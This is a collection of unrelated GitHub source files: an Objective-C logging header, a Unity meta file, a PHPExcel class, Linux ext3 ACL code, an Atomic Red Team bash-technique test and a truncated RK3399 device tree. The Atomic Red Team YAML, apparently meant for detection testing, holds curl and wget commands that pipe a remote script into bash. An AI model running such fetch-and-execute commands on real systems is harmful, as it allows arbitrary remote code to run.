* You may optionally disable rolling due to time by setting `rollingFrequency` to zero (or any non-positive number).
* If you do so, rolling is based solely on `maximumFileSize`.
*
* If you disable both `maximumFileSize` and `rollingFrequency`, then the log file won't ever be rolled.
* This is strongly discouraged.
**/
@property (readwrite, assign) unsigned long long maximumFileSize;
/**
* See description for `maximumFileSize`
*/
@property (readwrite, assign) NSTimeInterval rollingFrequency;
/**
* See description for `maximumFileSize`
*/
@property (readwrite, assign, atomic) BOOL doNotReuseLogFiles;
/**
* The DDLogFileManager instance can be used to retrieve the list of log files,
* and configure the maximum number of archived log files to keep.
*
* @see DDLogFileManager.maximumNumberOfLogFiles
**/
@property (strong, nonatomic, readonly) id <OSSDDLogFileManager> logFileManager;
/**
* When using a custom formatter you can set the `logMessage` method not to append
* `\n` character after each output. This allows for some greater flexibility with
* custom formatters. Default value is YES.
**/
@property (nonatomic, readwrite, assign) BOOL automaticallyAppendNewlineForCustomFormatters;
/**
* You can optionally force the current log file to be rolled with this method.
* CompletionBlock will be called on main queue.
*/
- (void)rollLogFileWithCompletionBlock:(void (^)(void))completionBlock NS_SWIFT_NAME(rollLogFile(withCompletion:));
/**
* Method is deprecated.
* @deprecated Use `rollLogFileWithCompletionBlock:` method instead.
*/
- (void)rollLogFile __attribute((deprecated));
// Inherited from DDAbstractLogger
// - (id <DDLogFormatter>)logFormatter;
// - (void)setLogFormatter:(id <DDLogFormatter>)formatter;
/**
* Returns the log file that should be used.
* If there is an existing log file that is suitable,
* within the constraints of `maximumFileSize` and `rollingFrequency`, then it is returned.
*
* Otherwise a new file is created and returned.
**/
@property (nonatomic, readonly, strong) OSSDDLogFileInfo *currentLogFileInfo;
@end
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma mark -
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* `DDLogFileInfo` is a simple class that provides access to various file attributes.
* It provides good performance as it only fetches the information if requested,
* and it caches the information to prevent duplicate fetches.
*
* It was designed to provide quick snapshots of the current state of log files,
* and to help sort log files in an array.
*
* This class does not monitor the files, or update it's cached attribute values if the file changes on disk.
* This is not what the class was designed for.
*
* If you absolutely must get updated values,
* you can invoke the reset method which will clear the cache.
**/
@interface OSSDDLogFileInfo : NSObject
@property (strong, nonatomic, readonly) NSString *filePath;
@property (strong, nonatomic, readonly) NSString *fileName;
#if FOUNDATION_SWIFT_SDK_EPOCH_AT_LEAST(8)
@property (strong, nonatomic, readonly) NSDictionary<NSFileAttributeKey, id> *fileAttributes;
#else
@property (strong, nonatomic, readonly) NSDictionary<NSString *, id> *fileAttributes;
#endif
@property (strong, nonatomic, readonly) NSDate *creationDate;
@property (strong, nonatomic, readonly) NSDate *modificationDate;
@property (nonatomic, readonly) unsigned long long fileSize;
@property (nonatomic, readonly) NSTimeInterval age;
@property (nonatomic, readwrite) BOOL isArchived;
+ (instancetype)logFileWithPath:(NSString *)filePath NS_SWIFT_UNAVAILABLE("Use init(filePath:)");
- (instancetype)init NS_UNAVAILABLE;
- (instancetype)initWithFilePath:(NSString *)filePath NS_DESIGNATED_INITIALIZER;
- (void)reset;
- (void)renameFile:(NSString *)newFileName NS_SWIFT_NAME(renameFile(to:));
#if TARGET_IPHONE_SIMULATOR
// So here's the situation.
// Extended attributes are perfect for what we're trying to do here (marking files as archived).
// This is exactly what extended attributes were designed for.
//
// But Apple screws us over on the simulator.
// Everytime you build-and-go, they copy the application into a new folder on the hard drive,
// and as part of the process they strip extended attributes from our log files.
// Normally, a copy of a file preserves extended attributes.
// So obviously Apple has gone to great lengths to piss us off.
//
// Thus we use a slightly different tactic for marking log files as archived in the simulator.
// That way it "just works" and there's no confusion when testing.
//
// The difference in method names is indicative of the difference in functionality.
// On the simulator we add an attribute by appending a filename extension.
//
// For example:
// "mylog.txt" -> "mylog.archived.txt"
// "mylog" -> "mylog.archived"
- (BOOL)hasExtensionAttributeWithName:(NSString *)attrName;
- (void)addExtensionAttributeWithName:(NSString *)attrName;
- (void)removeExtensionAttributeWithName:(NSString *)attrName;
#else /* if TARGET_IPHONE_SIMULATOR */
// Normal use of extended attributes used everywhere else,
// such as on Macs and on iPhone devices.
- (BOOL)hasExtendedAttributeWithName:(NSString *)attrName;
- (void)addExtendedAttributeWithName:(NSString *)attrName;
- (void)removeExtendedAttributeWithName:(NSString *)attrName;
#endif /* if TARGET_IPHONE_SIMULATOR */
@end
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: ed4e5ed8904c0324db7ff96b7041c0b1
NativeFormatImporter:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
<?php
/**
* PHPExcel
*
* Copyright (c) 2006 - 2014 PHPExcel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* @category PHPExcel
* @package PHPExcel_Writer_OpenDocument
* @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel)
* @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL
* @version ##VERSION##, ##DATE##
*/
/**
* PHPExcel_Writer_OpenDocument_Mimetype
*
* @category PHPExcel
* @package PHPExcel_Writer_OpenDocument
* @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel)
* @author Alexander Pervakov <frost-nzcr4@jagmort.com>
*/
class PHPExcel_Writer_OpenDocument_Mimetype extends PHPExcel_Writer_OpenDocument_WriterPart
{
/**
* Write mimetype to plain text format
*
* @param PHPExcel $pPHPExcel
* @return string XML Output
* @throws PHPExcel_Writer_Exception
*/
public function write(PHPExcel $pPHPExcel = null)
{
return 'application/vnd.oasis.opendocument.spreadsheet';
}
}
| {
"pile_set_name": "Github"
} |
/*
* linux/fs/ext3/acl.c
*
* Copyright (C) 2001-2003 Andreas Gruenbacher, <agruen@suse.de>
*/
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/capability.h>
#include <linux/fs.h>
#include <linux/ext3_jbd.h>
#include <linux/ext3_fs.h>
#include "xattr.h"
#include "acl.h"
/*
* Convert from filesystem to in-memory representation.
*/
static struct posix_acl *
ext3_acl_from_disk(const void *value, size_t size)
{
const char *end = (char *)value + size;
int n, count;
struct posix_acl *acl;
if (!value)
return NULL;
if (size < sizeof(ext3_acl_header))
return ERR_PTR(-EINVAL);
if (((ext3_acl_header *)value)->a_version !=
cpu_to_le32(EXT3_ACL_VERSION))
return ERR_PTR(-EINVAL);
value = (char *)value + sizeof(ext3_acl_header);
count = ext3_acl_count(size);
if (count < 0)
return ERR_PTR(-EINVAL);
if (count == 0)
return NULL;
acl = posix_acl_alloc(count, GFP_NOFS);
if (!acl)
return ERR_PTR(-ENOMEM);
for (n=0; n < count; n++) {
ext3_acl_entry *entry =
(ext3_acl_entry *)value;
if ((char *)value + sizeof(ext3_acl_entry_short) > end)
goto fail;
acl->a_entries[n].e_tag = le16_to_cpu(entry->e_tag);
acl->a_entries[n].e_perm = le16_to_cpu(entry->e_perm);
switch(acl->a_entries[n].e_tag) {
case ACL_USER_OBJ:
case ACL_GROUP_OBJ:
case ACL_MASK:
case ACL_OTHER:
value = (char *)value +
sizeof(ext3_acl_entry_short);
acl->a_entries[n].e_id = ACL_UNDEFINED_ID;
break;
case ACL_USER:
case ACL_GROUP:
value = (char *)value + sizeof(ext3_acl_entry);
if ((char *)value > end)
goto fail;
acl->a_entries[n].e_id =
le32_to_cpu(entry->e_id);
break;
default:
goto fail;
}
}
if (value != end)
goto fail;
return acl;
fail:
posix_acl_release(acl);
return ERR_PTR(-EINVAL);
}
/*
* Convert from in-memory to filesystem representation.
*/
static void *
ext3_acl_to_disk(const struct posix_acl *acl, size_t *size)
{
ext3_acl_header *ext_acl;
char *e;
size_t n;
*size = ext3_acl_size(acl->a_count);
ext_acl = kmalloc(sizeof(ext3_acl_header) + acl->a_count *
sizeof(ext3_acl_entry), GFP_NOFS);
if (!ext_acl)
return ERR_PTR(-ENOMEM);
ext_acl->a_version = cpu_to_le32(EXT3_ACL_VERSION);
e = (char *)ext_acl + sizeof(ext3_acl_header);
for (n=0; n < acl->a_count; n++) {
ext3_acl_entry *entry = (ext3_acl_entry *)e;
entry->e_tag = cpu_to_le16(acl->a_entries[n].e_tag);
entry->e_perm = cpu_to_le16(acl->a_entries[n].e_perm);
switch(acl->a_entries[n].e_tag) {
case ACL_USER:
case ACL_GROUP:
entry->e_id =
cpu_to_le32(acl->a_entries[n].e_id);
e += sizeof(ext3_acl_entry);
break;
case ACL_USER_OBJ:
case ACL_GROUP_OBJ:
case ACL_MASK:
case ACL_OTHER:
e += sizeof(ext3_acl_entry_short);
break;
default:
goto fail;
}
}
return (char *)ext_acl;
fail:
kfree(ext_acl);
return ERR_PTR(-EINVAL);
}
/*
* Inode operation get_posix_acl().
*
* inode->i_mutex: don't care
*/
static struct posix_acl *
ext3_get_acl(struct inode *inode, int type)
{
int name_index;
char *value = NULL;
struct posix_acl *acl;
int retval;
if (!test_opt(inode->i_sb, POSIX_ACL))
return NULL;
acl = get_cached_acl(inode, type);
if (acl != ACL_NOT_CACHED)
return acl;
switch (type) {
case ACL_TYPE_ACCESS:
name_index = EXT3_XATTR_INDEX_POSIX_ACL_ACCESS;
break;
case ACL_TYPE_DEFAULT:
name_index = EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT;
break;
default:
BUG();
}
retval = ext3_xattr_get(inode, name_index, "", NULL, 0);
if (retval > 0) {
value = kmalloc(retval, GFP_NOFS);
if (!value)
return ERR_PTR(-ENOMEM);
retval = ext3_xattr_get(inode, name_index, "", value, retval);
}
if (retval > 0)
acl = ext3_acl_from_disk(value, retval);
else if (retval == -ENODATA || retval == -ENOSYS)
acl = NULL;
else
acl = ERR_PTR(retval);
kfree(value);
if (!IS_ERR(acl))
set_cached_acl(inode, type, acl);
return acl;
}
/*
* Set the access or default ACL of an inode.
*
* inode->i_mutex: down unless called from ext3_new_inode
*/
static int
ext3_set_acl(handle_t *handle, struct inode *inode, int type,
struct posix_acl *acl)
{
int name_index;
void *value = NULL;
size_t size = 0;
int error;
if (S_ISLNK(inode->i_mode))
return -EOPNOTSUPP;
switch(type) {
case ACL_TYPE_ACCESS:
name_index = EXT3_XATTR_INDEX_POSIX_ACL_ACCESS;
if (acl) {
mode_t mode = inode->i_mode;
error = posix_acl_equiv_mode(acl, &mode);
if (error < 0)
return error;
else {
inode->i_mode = mode;
inode->i_ctime = CURRENT_TIME_SEC;
ext3_mark_inode_dirty(handle, inode);
if (error == 0)
acl = NULL;
}
}
break;
case ACL_TYPE_DEFAULT:
name_index = EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT;
if (!S_ISDIR(inode->i_mode))
return acl ? -EACCES : 0;
break;
default:
return -EINVAL;
}
if (acl) {
value = ext3_acl_to_disk(acl, &size);
if (IS_ERR(value))
return (int)PTR_ERR(value);
}
error = ext3_xattr_set_handle(handle, inode, name_index, "",
value, size, 0);
kfree(value);
if (!error)
set_cached_acl(inode, type, acl);
return error;
}
int
ext3_check_acl(struct inode *inode, int mask)
{
struct posix_acl *acl = ext3_get_acl(inode, ACL_TYPE_ACCESS);
if (IS_ERR(acl))
return PTR_ERR(acl);
if (acl) {
int error = posix_acl_permission(inode, acl, mask);
posix_acl_release(acl);
return error;
}
return -EAGAIN;
}
/*
* Initialize the ACLs of a new inode. Called from ext3_new_inode.
*
* dir->i_mutex: down
* inode->i_mutex: up (access to inode is still exclusive)
*/
int
ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir)
{
struct posix_acl *acl = NULL;
int error = 0;
if (!S_ISLNK(inode->i_mode)) {
if (test_opt(dir->i_sb, POSIX_ACL)) {
acl = ext3_get_acl(dir, ACL_TYPE_DEFAULT);
if (IS_ERR(acl))
return PTR_ERR(acl);
}
if (!acl)
inode->i_mode &= ~current_umask();
}
if (test_opt(inode->i_sb, POSIX_ACL) && acl) {
struct posix_acl *clone;
mode_t mode;
if (S_ISDIR(inode->i_mode)) {
error = ext3_set_acl(handle, inode,
ACL_TYPE_DEFAULT, acl);
if (error)
goto cleanup;
}
clone = posix_acl_clone(acl, GFP_NOFS);
error = -ENOMEM;
if (!clone)
goto cleanup;
mode = inode->i_mode;
error = posix_acl_create_masq(clone, &mode);
if (error >= 0) {
inode->i_mode = mode;
if (error > 0) {
/* This is an extended ACL */
error = ext3_set_acl(handle, inode,
ACL_TYPE_ACCESS, clone);
}
}
posix_acl_release(clone);
}
cleanup:
posix_acl_release(acl);
return error;
}
/*
* Does chmod for an inode that may have an Access Control List. The
* inode->i_mode field must be updated to the desired value by the caller
* before calling this function.
* Returns 0 on success, or a negative error number.
*
* We change the ACL rather than storing some ACL entries in the file
* mode permission bits (which would be more efficient), because that
* would break once additional permissions (like ACL_APPEND, ACL_DELETE
* for directories) are added. There are no more bits available in the
* file mode.
*
* inode->i_mutex: down
*/
int
ext3_acl_chmod(struct inode *inode)
{
struct posix_acl *acl, *clone;
int error;
if (S_ISLNK(inode->i_mode))
return -EOPNOTSUPP;
if (!test_opt(inode->i_sb, POSIX_ACL))
return 0;
acl = ext3_get_acl(inode, ACL_TYPE_ACCESS);
if (IS_ERR(acl) || !acl)
return PTR_ERR(acl);
clone = posix_acl_clone(acl, GFP_KERNEL);
posix_acl_release(acl);
if (!clone)
return -ENOMEM;
error = posix_acl_chmod_masq(clone, inode->i_mode);
if (!error) {
handle_t *handle;
int retries = 0;
retry:
handle = ext3_journal_start(inode,
EXT3_DATA_TRANS_BLOCKS(inode->i_sb));
if (IS_ERR(handle)) {
error = PTR_ERR(handle);
ext3_std_error(inode->i_sb, error);
goto out;
}
error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, clone);
ext3_journal_stop(handle);
if (error == -ENOSPC &&
ext3_should_retry_alloc(inode->i_sb, &retries))
goto retry;
}
out:
posix_acl_release(clone);
return error;
}
/*
* Extended attribute handlers
*/
static size_t
ext3_xattr_list_acl_access(struct inode *inode, char *list, size_t list_len,
const char *name, size_t name_len)
{
const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS);
if (!test_opt(inode->i_sb, POSIX_ACL))
return 0;
if (list && size <= list_len)
memcpy(list, POSIX_ACL_XATTR_ACCESS, size);
return size;
}
static size_t
ext3_xattr_list_acl_default(struct inode *inode, char *list, size_t list_len,
const char *name, size_t name_len)
{
const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT);
if (!test_opt(inode->i_sb, POSIX_ACL))
return 0;
if (list && size <= list_len)
memcpy(list, POSIX_ACL_XATTR_DEFAULT, size);
return size;
}
static int
ext3_xattr_get_acl(struct inode *inode, int type, void *buffer, size_t size)
{
struct posix_acl *acl;
int error;
if (!test_opt(inode->i_sb, POSIX_ACL))
return -EOPNOTSUPP;
acl = ext3_get_acl(inode, type);
if (IS_ERR(acl))
return PTR_ERR(acl);
if (acl == NULL)
return -ENODATA;
error = posix_acl_to_xattr(acl, buffer, size);
posix_acl_release(acl);
return error;
}
static int
ext3_xattr_get_acl_access(struct inode *inode, const char *name,
void *buffer, size_t size)
{
if (strcmp(name, "") != 0)
return -EINVAL;
return ext3_xattr_get_acl(inode, ACL_TYPE_ACCESS, buffer, size);
}
static int
ext3_xattr_get_acl_default(struct inode *inode, const char *name,
void *buffer, size_t size)
{
if (strcmp(name, "") != 0)
return -EINVAL;
return ext3_xattr_get_acl(inode, ACL_TYPE_DEFAULT, buffer, size);
}
static int
ext3_xattr_set_acl(struct inode *inode, int type, const void *value,
size_t size)
{
handle_t *handle;
struct posix_acl *acl;
int error, retries = 0;
if (!test_opt(inode->i_sb, POSIX_ACL))
return -EOPNOTSUPP;
if (!is_owner_or_cap(inode))
return -EPERM;
if (value) {
acl = posix_acl_from_xattr(value, size);
if (IS_ERR(acl))
return PTR_ERR(acl);
else if (acl) {
error = posix_acl_valid(acl);
if (error)
goto release_and_out;
}
} else
acl = NULL;
retry:
handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb));
if (IS_ERR(handle))
return PTR_ERR(handle);
error = ext3_set_acl(handle, inode, type, acl);
ext3_journal_stop(handle);
if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries))
goto retry;
release_and_out:
posix_acl_release(acl);
return error;
}
static int
ext3_xattr_set_acl_access(struct inode *inode, const char *name,
const void *value, size_t size, int flags)
{
if (strcmp(name, "") != 0)
return -EINVAL;
return ext3_xattr_set_acl(inode, ACL_TYPE_ACCESS, value, size);
}
static int
ext3_xattr_set_acl_default(struct inode *inode, const char *name,
const void *value, size_t size, int flags)
{
if (strcmp(name, "") != 0)
return -EINVAL;
return ext3_xattr_set_acl(inode, ACL_TYPE_DEFAULT, value, size);
}
struct xattr_handler ext3_xattr_acl_access_handler = {
.prefix = POSIX_ACL_XATTR_ACCESS,
.list = ext3_xattr_list_acl_access,
.get = ext3_xattr_get_acl_access,
.set = ext3_xattr_set_acl_access,
};
struct xattr_handler ext3_xattr_acl_default_handler = {
.prefix = POSIX_ACL_XATTR_DEFAULT,
.list = ext3_xattr_list_acl_default,
.get = ext3_xattr_get_acl_default,
.set = ext3_xattr_set_acl_default,
};
| {
"pile_set_name": "Github"
} |
attack_technique: T1059.004
display_name: 'Command and Scripting Interpreter: Bash'
atomic_tests:
- name: Create and Execute Bash Shell Script
auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873
description: |
Creates and executes a simple bash script.
supported_platforms:
- macos
- linux
input_arguments:
script_path:
description: Script path
type: path
default: /tmp/art.sh
executor:
command: |
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 8.8.8.8' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
cleanup_command: |
rm #{script_path}
name: sh
- name: Command-Line Interface
auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c
description: |
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
supported_platforms:
- macos
- linux
executor:
command: |
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
cleanup_command: |
rm /tmp/art-fish.txt
name: sh
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2017 Fuzhou Rockchip Electronics Co., Ltd.
*
* SPDX-License-Identifier: GPL-2.0+
*/
/dts-v1/;
#include <dt-bindings/pwm/pwm.h>
#include <dt-bindings/pinctrl/rockchip.h>
#include "rk3399.dtsi"
#include "rk3399-sdram-ddr3-1333.dtsi"
/ {
model = "Firefly-RK3399 Board";
compatible = "firefly,firefly-rk3399", "rockchip,rk3399";
chosen {
stdout-path = &uart2;
};
backlight: backlight {
compatible = "pwm-backlight";
enable-gpios = <&gpio1 RK_PB5 GPIO_ACTIVE_HIGH>;
pwms = <&pwm0 0 25000 0>;
brightness-levels = <
0 1 2 3 4 5 6 7
8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23
24 25 26 27 28 29 30 31
32 33 34 35 36 37 38 39
40 41 42 43 44 45 46 47
48 49 50 51 52 53 54 55
56 57 58 59 60 61 62 63
64 65 66 67 68 69 70 71
72 73 74 75 76 77 78 79
80 81 82 83 84 85 86 87
88 89 90 91 92 93 94 95
96 97 98 99 100 101 102 103
104 105 106 107 108 109 110 111
112 113 114 115 116 117 118 119
120 121 122 123 124 125 126 127
128 129 130 131 132 133 134 135
136 137 138 139 140 141 142 143
144 145 146 147 148 149 150 151
152 153 154 155 156 157 158 159
160 161 162 163 164 165 166 167
168 169 170 171 172 173 174 175
176 177 178 179 180 181 182 183
184 185 186 187 188 189 190 191
192 193 194 195 196 197 198 199
200 201 202 203 204 205 206 207
208 209 210 211 212 213 214 215
216 217 218 219 220 221 222 223
224 225 226 227 228 229 230 231
232 233 234 235 236 237 238 239
240 241 242 243 244 245 246 247
248 249 250 251 252 253 254 255>;
default-brightness-level = <200>;
};
clkin_gmac: external-gmac-clock {
compatible = "fixed-clock";
clock-frequency = <125000000>;
clock-output-names = "clkin_gmac";
#clock-cells = <0>;
};
rt5640-sound {
compatible = "simple-audio-card";
simple-audio-card,name = "rockchip,rt5640-codec";
simple-audio-card,format = "i2s";
simple-audio-card,mclk-fs = <256>;
simple-audio-card,widgets =
"Microphone", "Mic Jack",
"Headphone", "Headphone Jack";
simple-audio-card,routing =
"Mic Jack", "MICBIAS1",
"IN1P", "Mic Jack",
"Headphone Jack", "HPOL",
"Headphone Jack", "HPOR";
simple-audio-card,cpu {
sound-dai = <&i2s1>;
};
simple-audio-card,codec {
sound-dai = <&rt5640>;
};
};
sdio_pwrseq: sdio-pwrseq {
compatible = "mmc-pwrseq-simple";
clocks = <&rk808 1>;
clock-names = "ext_clock";
pinctrl-names = "default";
pinctrl-0 = <&wifi_enable_h>;
/*
* On the module itself this is one of these (depending
* on the actual card populated):
* - SDIO_RESET_L_WL_REG_ON
* - PDN (power down when low)
*/
reset-gpios = <&gpio0 RK_PB2 GPIO_ACTIVE_LOW>;
};
vcc3v3_pcie: vcc3v3-pcie-regulator {
compatible = "regulator-fixed";
enable-active-high;
gpio = <&gpio1 RK_PC1 GPIO_ACTIVE_HIGH>;
pinctrl-names = "default";
pinctrl-0 = <&pcie_drv>;
regulator-name = "vcc3v3_pcie";
regulator-always-on;
regulator-boot-on;
};
vcc3v3_sys: vcc3v3-sys {
compatible = "regulator-fixed";
regulator-name = "vcc3v3_sys";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <3300000>;
regulator-max-microvolt = <3300000>;
};
vcc5v0_host: vcc5v0-host-regulator {
compatible = "regulator-fixed";
enable-active-high;
gpio = <&gpio1 RK_PA0 GPIO_ACTIVE_HIGH>;
pinctrl-names = "default";
pinctrl-0 = <&host_vbus_drv>;
regulator-name = "vcc5v0_host";
regulator-always-on;
};
vcc5v0_sys: vcc5v0-sys {
compatible = "regulator-fixed";
regulator-name = "vcc5v0_sys";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <5000000>;
regulator-max-microvolt = <5000000>;
};
vcc_phy: vcc-phy-regulator {
compatible = "regulator-fixed";
regulator-name = "vcc_phy";
regulator-always-on;
regulator-boot-on;
};
vdd_log: vdd-log {
compatible = "pwm-regulator";
pwms = <&pwm2 0 25000 1>;
regulator-name = "vdd_log";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <800000>;
regulator-max-microvolt = <1400000>;
};
vccadc_ref: vccadc-ref {
compatible = "regulator-fixed";
regulator-name = "vcc1v8_sys";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <1800000>;
regulator-max-microvolt = <1800000>;
};
};
&cpu_l0 {
cpu-supply = <&vdd_cpu_l>;
};
&cpu_l1 {
cpu-supply = <&vdd_cpu_l>;
};
&cpu_l2 {
cpu-supply = <&vdd_cpu_l>;
};
&cpu_l3 {
cpu-supply = <&vdd_cpu_l>;
};
&cpu_b0 {
cpu-supply = <&vdd_cpu_b>;
};
&cpu_b1 {
cpu-supply = <&vdd_cpu_b>;
};
&emmc_phy {
status = "okay";
};
&gmac {
assigned-clocks = <&cru SCLK_RMII_SRC>;
assigned-clock-parents = <&clkin_gmac>;
clock_in_out = "input";
phy-supply = <&vcc_phy>;
phy-mode = "rgmii";
pinctrl-names = "default";
pinctrl-0 = <&rgmii_pins>;
snps,reset-gpio = <&gpio3 RK_PB7 GPIO_ACTIVE_LOW>;
snps,reset-active-low;
snps,reset-delays-us = <0 10000 50000>;
tx_delay = <0x28>;
rx_delay = <0x11>;
status = "okay";
};
&i2c0 {
clock-frequency = <400000>;
i2c-scl-rising-time-ns = <168>;
i2c-scl-falling-time-ns = <4>;
status = "okay";
rk808: pmic@1b {
compatible = "rockchip,rk808";
reg = <0x1b>;
interrupt-parent = <&gpio1>;
interrupts = <21 IRQ_TYPE_LEVEL_LOW>;
#clock-cells = <1>;
clock-output-names = "xin32k", "rk808-clkout2";
pinctrl-names = "default";
pinctrl-0 = <&pmic_int_l>;
rockchip,system-power-controller;
wakeup-source;
vcc1-supply = <&vcc3v3_sys>;
vcc2-supply = <&vcc3v3_sys>;
vcc3-supply = <&vcc3v3_sys>;
vcc4-supply = <&vcc3v3_sys>;
vcc6-supply = <&vcc3v3_sys>;
vcc7-supply = <&vcc3v3_sys>;
vcc8-supply = <&vcc3v3_sys>;
vcc9-supply = <&vcc3v3_sys>;
vcc10-supply = <&vcc3v3_sys>;
vcc11-supply = <&vcc3v3_sys>;
vcc12-supply = <&vcc3v3_sys>;
vddio-supply = <&vcc1v8_pmu>;
regulators {
vdd_center: DCDC_REG1 {
regulator-name = "vdd_center";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <750000>;
regulator-max-microvolt = <1350000>;
regulator-ramp-delay = <6001>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vdd_cpu_l: DCDC_REG2 {
regulator-name = "vdd_cpu_l";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <750000>;
regulator-max-microvolt = <1350000>;
regulator-ramp-delay = <6001>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vcc_ddr: DCDC_REG3 {
regulator-name = "vcc_ddr";
regulator-always-on;
regulator-boot-on;
regulator-state-mem {
regulator-on-in-suspend;
};
};
vcc_1v8: DCDC_REG4 {
regulator-name = "vcc_1v8";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <1800000>;
regulator-max-microvolt = <1800000>;
regulator-state-mem {
regulator-on-in-suspend;
regulator-suspend-microvolt = <1800000>;
};
};
vcc1v8_dvp: LDO_REG1 {
regulator-name = "vcc1v8_dvp";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <1800000>;
regulator-max-microvolt = <1800000>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vcc3v0_tp: LDO_REG2 {
regulator-name = "vcc3v0_tp";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <3000000>;
regulator-max-microvolt = <3000000>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vcc1v8_pmu: LDO_REG3 {
regulator-name = "vcc1v8_pmu";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <1800000>;
regulator-max-microvolt = <1800000>;
regulator-state-mem {
regulator-on-in-suspend;
regulator-suspend-microvolt = <1800000>;
};
};
vcc_sd: LDO_REG4 {
regulator-name = "vcc_sd";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <1800000>;
regulator-max-microvolt = <3300000>;
regulator-state-mem {
regulator-on-in-suspend;
regulator-suspend-microvolt = <3300000>;
};
};
vcca3v0_codec: LDO_REG5 {
regulator-name = "vcca3v0_codec";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <3000000>;
regulator-max-microvolt = <3000000>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vcc_1v5: LDO_REG6 {
regulator-name = "vcc_1v5";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <1500000>;
regulator-max-microvolt = <1500000>;
regulator-state-mem {
regulator-on-in-suspend;
regulator-suspend-microvolt = <1500000>;
};
};
vcca1v8_codec: LDO_REG7 {
regulator-name = "vcca1v8_codec";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <1800000>;
regulator-max-microvolt = <1800000>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vcc_3v0: LDO_REG8 {
regulator-name = "vcc_3v0";
regulator-always-on;
regulator-boot-on;
regulator-min-microvolt = <3000000>;
regulator-max-microvolt = <3000000>;
regulator-state-mem {
regulator-on-in-suspend;
regulator-suspend-microvolt = <3000000>;
};
};
vcc3v3_s3: SWITCH_REG1 {
regulator-name = "vcc3v3_s3";
regulator-always-on;
regulator-boot-on;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vcc3v3_s0: SWITCH_REG2 {
regulator-name = "vcc3v3_s0";
regulator-always-on;
regulator-boot-on;
regulator-state-mem {
regulator-off-in-suspend;
};
};
};
};
vdd_cpu_b: regulator@40 {
compatible = "silergy,syr827";
reg = <0x40>;
fcs,suspend-voltage-selector = <0>;
regulator-name = "vdd_cpu_b";
regulator-min-microvolt = <712500>;
regulator-max-microvolt = <1500000>;
regulator-ramp-delay = <1000>;
regulator-always-on;
regulator-boot-on;
vin-supply = <&vcc5v0_sys>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
vdd_gpu: regulator@41 {
compatible = "silergy,syr828";
reg = <0x41>;
fcs,suspend-voltage-selector = <1>;
regulator-name = "vdd_gpu";
regulator-min-microvolt = <712500>;
regulator-max-microvolt = <1500000>;
regulator-ramp-delay = <1000>;
regulator-always-on;
regulator-boot-on;
vin-supply = <&vcc5v0_sys>;
regulator-state-mem {
regulator-off-in-suspend;
};
};
};
&i2c1 {
i2c-scl-rising-time-ns = <300>;
i2c-scl-falling-time-ns = <15>;
status = "okay";
rt5640: rt5640@1c {
compatible = "realtek,rt5640";
reg = <0x1c>;
clocks = <&cru SCLK_I2S_8CH_OUT>;
clock-names = "mclk";
realtek,in1-differential;
#sound-dai-cells = <0>;
pinctrl-names = "default";
pinctrl-0 = <&rt5640_hpcon>;
};
};
&i2c3 {
